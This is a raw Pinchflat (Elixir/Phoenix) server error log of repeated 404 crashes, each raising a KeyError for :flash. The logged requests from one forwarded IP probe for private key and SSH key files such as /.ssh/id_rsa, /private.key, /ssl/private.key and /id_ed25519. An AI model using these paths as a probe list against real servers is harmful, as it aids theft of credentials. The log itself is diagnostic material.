:"HTTP/1.1", path: "/.ssh/id_rsa", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 59766}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: fals (truncated) 15:23:36.904 [error] #PID<0.9927.0> running PinchflatWeb.Endpoint (connection #PID<0.9923.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /private.key ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /private (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9923.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/private.key", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 59772}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9927.0>, params: %{}, path_info: ["private"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-GB,en;q=0.5"}, {"host", "roku.hartupee.com"}, {"sec-ch-ua", "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Linux\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "cross-site"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/private.key", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDHHnEnJyOzEwAA5CB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9923.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/private.key", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 59772}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /private (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9923.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/private.key", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 59772}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, (truncated) 15:23:36.905 [error] #PID<0.9933.0> running PinchflatWeb.Endpoint (connection #PID<0.9930.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /localhost.pem ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /localhost (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9930.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/localhost.pem", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 59800}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "fr-FR,fr;q=0.9,en-US;q=0.8", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"130\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9933.0>, params: %{}, path_info: ["localhost"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "fr-FR,fr;q=0.9,en-US;q=0.8"}, {"host", "roku.hartupee.com"}, {"sec-ch-ua", "\"Chromium\";v=\"130\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"macOS\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/localhost.pem", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDHHnLRr0q7UwAA5DB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9930.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/localhost.pem", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 59800}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "fr-FR,fr;q=0.9,en-US;q=0.8", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"130\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /localhost (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9930.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/localhost.pem", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 59800}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "fr-FR,fr;q=0.9,en-US;q=0.8", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"130\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real (truncated) 15:23:36.905 [error] #PID<0.9936.0> running PinchflatWeb.Endpoint (connection #PID<0.9931.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /ssl/private.key ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /ssl/private (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9931.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/ssl/private.key", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 59808}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9936.0>, params: %{}, path_info: ["ssl", "private"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/ssl/private.key", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDHHnLquQT3FgAAevC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9931.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/ssl/private.key", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 59808}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /ssl/private (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9931.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/ssl/private.key", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 59808}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9936.0>, params: %{}, path_info: ["ssl", "private"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, (truncated) 15:23:36.905 [error] #PID<0.9928.0> running PinchflatWeb.Endpoint (connection #PID<0.9925.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /id_ed25519 ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /id_ed25519 (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9925.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/id_ed25519", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 59770}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "fr-FR,fr;q=0.9,en-US;q=0.8", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"130\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9928.0>, params: %{}, path_info: ["id_ed25519"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "fr-FR,fr;q=0.9,en-US;q=0.8"}, {"host", "roku.hartupee.com"}, {"sec-ch-ua", "\"Chromium\";v=\"130\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"macOS\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/id_ed25519", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDHHnJE-Pt85QAABJE"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9925.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/id_ed25519", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 59770}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "fr-FR,fr;q=0.9,en-US;q=0.8", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"130\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /id_ed25519 (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9925.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/id_ed25519", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 59770}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "fr-FR,fr;q=0.9,en-US;q=0.8", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"130\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45. (truncated) 15:23:36.906 [error] #PID<0.9937.0> running PinchflatWeb.Endpoint (connection #PID<0.9934.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /.pem ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9934.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.pem", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 59824}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => 